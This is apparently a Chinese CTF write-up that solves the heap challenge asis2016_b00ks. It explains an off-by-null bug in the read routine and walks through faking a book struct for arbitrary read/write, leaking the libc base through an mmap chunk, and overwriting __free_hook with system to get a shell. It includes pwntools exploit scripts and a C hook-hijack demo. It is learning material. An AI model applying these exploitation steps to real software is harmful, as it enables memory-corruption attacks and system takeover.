[堆入门 off-by-null] asis2016_b00ks
刚开始学pwn就听说,堆的题目很魔幻,需要大量的基础知识。在漫长地啃堆基础原理以后,这是我第一次自己研究学习并且完全明白原理的堆题。特地在此做笔记记录。
0x00 逆向分析
一进来就很容易发现,这也是堆题中最为常见的菜单题目。
简单分析一下,打开程序,最先产生交互的函数是sub_B6D。
漏洞点:sub_B6D
调用了sub_9F5函数,是作者自己写的read函数,再进去看看。
注意这里的判定:先++buf,然后判断是否达到了最大长度(32字符),如果达到了,就跳出循环,然后把当前buf的字符变为\x00。
乍一看是没什么问题,但是仔细一想,它这里的i是从0开始,当i == a2的时候其实已经读了33个字符了,也就是说如果我们刚好输入32个字符以后,它会再读一个字符,并且会把这个字符变为\x00。
比如我输入了’A’ * 32,实际上数据流中我输入的是’AAAAAAAA…AAA\n’,当我们输入的第32个A被读取之后先检测是否是’\n’,通过,++buf,然后比对i是否等于a2,但是由于i从0开始,此时i为31,所以也通过,继续循环。
然后此时读取的字符是\n,检测到*buf == ‘\n’ 所以执行break,再把’\n’覆盖为\x00。导致最终读入的字符为32个’A’+一个’\x00’。
先简单写个脚本测试一下
1 | def create(name_size, name, desc_size, desc): |
init()先将作者名设置为32个A,然后create新建一个book(因为id是1,所以咱们叫他book1),然后再change_author修改作者名,看看内存里会有什么样的变化。
1.init()执行过后
可以看到在内存里写入了32个41
2.create()执行过后
可以看到在32个A后出现了一个指针,指针指向b00k1的id
3.change_author()执行过后
可以发现原来指向book1的ID的指针后两位被覆盖为了00。
如何利用这个漏洞?
思路:在覆盖为00后的地址位置(如这里的0x56285dc0f300),写一个伪造的book,怎么写,如何利用这个伪造的book我们之后再分析。
数据结构分析
在利用漏洞之前,我们先分析一下这个程序所用到的结构体。
在create book对应函数里面可以找到这样一段代码
这一块就很明显的反映出这个程序所用的结构体的结构。
先看这个*((_QWORD *)off_202010 + v2) = v3;
这个off_202010在之前用到过类似的地址:
对,就是之前创建作者名的时候。
ps.这里的sub_9F5和之前的sub_B6D是同一个函数,因为我写这篇文章不是一次性写完的,中间关了一次IDA。不过这都不重要。
跳转到IDA看一下
我们可以看到,作者名的起始地址off_202018在0x202040,而create中调用的这个地址在0x202060,刚好相差了0x20,再回头看一下之前create()函数执行过后的内存图:
现在我们可以理解,前面两行(0x20)的41(‘A’)之后跟的那个地址,就是book1的起始地址。
然后再回到IDA看另外的四行,翻译过来的结构体就大概长这样:
1 | struct book_struct |
id对应了unk_202024,随着书的数量增加而自增。
*bookname可以通过之前的代码推断:
*book_description和description_size也是类似:
这边有一点需要注意,在IDA中,v5,ptr,unk_202024的地址都用的是
v3+0,v3+1,v3+2,为什么v1的地址用的是v3+6呢?而事实上我们看到:
这里的v1(description_size)是在v3+3的位置。
这是因为QWRD是四字,比DWORD双字大了一倍,因此DWORD的+6就相当于QWORD的+3
漏洞利用:Edit()
看到菜单的选项3是Edit a book,转到函数界面看看:
可以看到这边又调用了读函数sub_9F5,将读取的内容写到book结构体基地址+16(0x10)处的指针所指向的位置。
也就是:
图中这个地址所指向的地方
我们跳转过去看看
在这里就看到我之前测试所写的’aaaaaaaa’'a'=62
也就是说如果我们控制了这里的0x000056285dc0f2e0,就可以在任意的地方写任意的东西了。
另外在菜单的4选项还有print book detail的选项,也就是说如果我们控制了这个description指针的地址,就可以做到任意地址读写。
具体怎么实现再往后看。
0x01 fakebook的构造和利用
就像历史上国与国之间的侵略一样,想要获得一个内鬼,就得先培养一个内鬼,然后再让这个内鬼得到他们内部的信任(权限)
那我们先来构造一个内鬼
构造fakebook
这个很简单,只要这样就行了:
1 | init() |
运行一下看看是不是这么回事:
当当!我们的内鬼已经培养完了,这个内鬼可以在0x114514这个地址写0xffffff大小的内容,是不是很猛?
但是!别忘记一个很关键的事情,
程序它不认我这个内鬼啊!只要这里book1的指针还是指向0x56157f41c310,我们往book1的description写东西就还是往0x56157f41c2e0写,那怎么办呢?
这时候就想到了之前我们提到的off-by-null漏洞了,我们只要再填写一次作者名(就是前面的一堆4141),就会溢出一个\x00,覆盖掉0x56157f41c310后面的10。
乍一看这仿佛是不可控的,只能把后面两个改成00,但是我们的内鬼在0x56157f41c2e0,要怎么把book1的指针指向我们的内鬼呢?
其实name,description,book1他们三个是轮流划分区域的。
我们这里用刚好一本书的description大小0x20(chunk大小是0x30),那么如果book1的地址是以0xXXXXXX30结尾,那么用\x00覆盖以后,就变成0xXXXXXX00,由于book1的chunk刚好紧接着description的chunk,所以此时的0xXXXXXX00就刚好是description的地址。
那现在问题就在于如何把book1的结尾变成0x30?
只要不断扩大name的size直到book1的地址变为0x30结尾即可。
使fakebook取代book1
先看一下当前name是0x20,description也是0x20的时候,堆的结构是这样的:
可以看到如果要让book1基地址变成0x30的话 需要:
往下挤0x20
所以咱们把name加0x20,再试试
1 | def init(): |
现在脚本长这样,看看啥效果
很好,book1已经如我们所愿变成30结尾了
执行到下一个debug()
到这一步,内鬼已经写好。继续执行
到此,我们已经成功完成了扶植内鬼,和任命内鬼的全过程。
测试一下:
我尝试输出了一下书的细节,程序直接崩溃了,如我所料。
如果没有任命成功,它会照常输出:
之所以这里会崩溃,是因为程序找不到0x114514这个地址。
也就证明我们的内鬼计划非常成功。
0x02 获取libc基地址,执行shell
获取libc基地址
当程序需要分配一块较小的空间时,malloc会默认使用brk方式分配chunk,但是如果需要分配的空间很大的话,会使用mmap方式分配。而使用mmap方式分配的chunk有个特点,就是chunk地址与libc基地址之间的偏移量是固定的(即使开了PIE:libc地址随机)
这就给我们提供了一个很好的获取libc的方式。
地址获取思路:
- 将作者名填满32字节,由于print输出到\x00停止的特性,输出作者名时尾部会输出book1的地址(如上图的Author尾部的不可见字符);
- 通过book1地址计算出book2的description地址(也可以是NAME地址);
- 将fakebook的description指针所指向的地址修改为book2的description所在的内存地址(不是指向的地址);
- 通过菜单选项Print book detail泄露book2的description所指向的地址;
- 在本地调试,使用vmmap得到book2地址与libc基地址偏移量;
- 通过book2的description地址算出libc基地址。
下面开始实践先看看book2的地址是多少:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70def init():
p.recvline()
p.recvuntil(': ')
p.sendline('A'*32)
def create(name_size, name, desc_size, desc):
global p
p.recvuntil('> ')
p.sendline('1')
p.recvuntil(': ')
p.sendline(str(name_size))
p.recvuntil(': ')
p.sendline(name)
p.recvuntil(': ')
p.sendline(str(desc_size))
p.recvuntil(': ')
p.sendline(desc)
def delete(book_id):
global p
p.recvuntil('> ')
p.sendline('2')
p.recvuntil(': ')
p.sendline(str(book_id))
def edit(book_id, desc):
global p
p.recvuntil('> ')
p.sendline('3')
p.recvuntil(': ')
p.sendline(str(book_id))
p.recvuntil(': ')
p.sendline(desc)
def printf():
global p
p.recvuntil('> ')
p.sendline('4')
def change_author(author):
global p
p.recvuntil('> ')
p.sendline('5')
p.recvuntil(': ')
p.sendline(author)
def debug():
gdb.attach(p)
pause()
init()
book1_name = 0x40
book1_des = 0x20
create(book1_name, 'a', book1_des, 'b')
create(0x21000, 'c', 0x21000, 'd')
printf()
p.recvuntil('ID: 1')
p.recvuntil('A'*32)
book1_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book1_addr:"+hex(book1_addr))
edit(1, p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x38)+p64(0xffff))
change_author('A'*32)
printf()
p.recvuntil('ID: 1')
p.recvuntil('Name: ')
book2_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book2_addr:"+hex(book2_addr))
debug()
p.interactive()
可以看到这边跑出了book2的地址
然后vmmap看一下libc基地址是多少
这里libc-2.31.so就是libc了,第一行的起始地址就是libc的基地址。
所以它的偏移量就是:0x7f83dba36000 - 0x7f83dba14010
所以libc基地址 = book2_addr + (0x7f83dba36000 - 0x7f83dba14010)
修改后的脚本(自定义函数部分略过了)跑跑看效果如何:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21init()
book1_name = 0x40
book1_des = 0x20
create(book1_name, 'a', book1_des, 'b')
create(0x21000, 'c', 0x21000, 'd')
printf()
p.recvuntil('ID: 1')
p.recvuntil('A'*32)
book1_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book1_addr:"+hex(book1_addr))
edit(1, p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x38)+p64(0xffff))
change_author('A'*32)
printf()
p.recvuntil('ID: 1')
p.recvuntil('Name: ')
book2_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book2_addr:"+hex(book2_addr))
###############新加入内容###################
libc_base = book2_addr + (0x7f83dba36000 - 0x7f83dba14010)
print('libc base:' + hex(libc_base))
debug()
可以看到libc_base和vmmap的结果一模一样。
到此libc基地址获取成功。执行shell
在堆中,我们常用__free_hook挟持执行流。
先来看看__free_hook是干嘛的:简单一句话概括:当调用free函数时,会检测__free_hook函数是否为空,如果不是,则先执行__free_hook。1
2
3
4
5
6
7
8
9
10
11void __libc_free(void *mem) {
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
// 判断是否有钩子函数 __free_hook
void (*hook)(void *, const void *) = atomic_forced_read(__free_hook);
if (__builtin_expect(hook != NULL, 0)) {
(*hook)(mem, RETURN_ADDRESS(0));
return;
}
//略……
}
研究__free_hook的内部太麻烦了,直接看__free_hook的性质:执行结果1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
extern void (*__free_hook) (void *__ptr,const void *);
int main()
{
char *str = malloc(160);
strcpy(str,"/bin/sh");
printf("__free_hook: 0x%016X\n",__free_hook);
// 劫持__free_hook
__free_hook = system;
free(str);
return 0;
}以上代码节选自http://blog.eonew.cn/archives/5211
2
3
4
5
6
7
8
9
10
11
12
13ex@ubuntu:~/test$ gcc -o demo -g demo.c
demo.c: In function ‘main’:
demo.c:12:9: warning: format ‘%X’ expects argument of type ‘unsigned int’, but argument 2 has type ‘void (*)(void *, const void *)’ [-Wformat=]
printf("__free_hook: 0x%016X\n",__free_hook);
^
demo.c:14:14: warning: assignment from incompatible pointer type [-Wincompatible-pointer-types]
__free_hook = system;
^
ex@ubuntu:~/test$ ./demo
__free_hook: 0x0000000000000000
$ echo hello world
hello world
$
再简单一句话概括:__free_hook执行时会把chunk中的用户数据作为参数。
所以挟持的步骤:
- 把__free_hook的地址改为system地址
- 把待free的chunk中的内容改为’/bin/sh’
- 执行free(之前修改的chunk)
已经得到解题的所有步骤了,那么执行shell的步骤如下:
- 通过libc基地址得到freehook地址,system地址,binsh地址
- 由于之前已经将fakebook的description所指向的地址改为book2的name地址,所以可以通过修改book1的description来修改book2的name指针,和description指针所指向的内容。因此我们可以把book2的name改为’/bin/sh’把它的description改为’__free_hook’的地址。
- 通过步骤2,我们已经把book2的description所指向的地址改成了__free_hook,因此此时修改book2的description就是修改__free_hook的地址,因此此时只要修改book2的description为system的地址。
- free(book2)
pwn!!!!!!!!!!
这里有一个细节
在delete操作中,它会把每个chunk都free一遍,所以实际上是它在free(book2的name)的时候获取了shell。(之前纠结了很久__free_hook究竟会调用哪个作为参数)
0x03 脚本
1 | from pwn import * |
虽然明白了打法,但是我还是花了很久的时间去把这题打穿。因为不同的解释器他们的offset大小都不一样,我用了我三台不同版本的ubuntu虚拟机偏移量都不对,可能是因为这个题目太老了,最后采用了网上别人打穿的wp的偏移量。然后本地的libc版本也很重要,不然就算获取了基地址,根据偏移量算出的函数地址也都是不对的。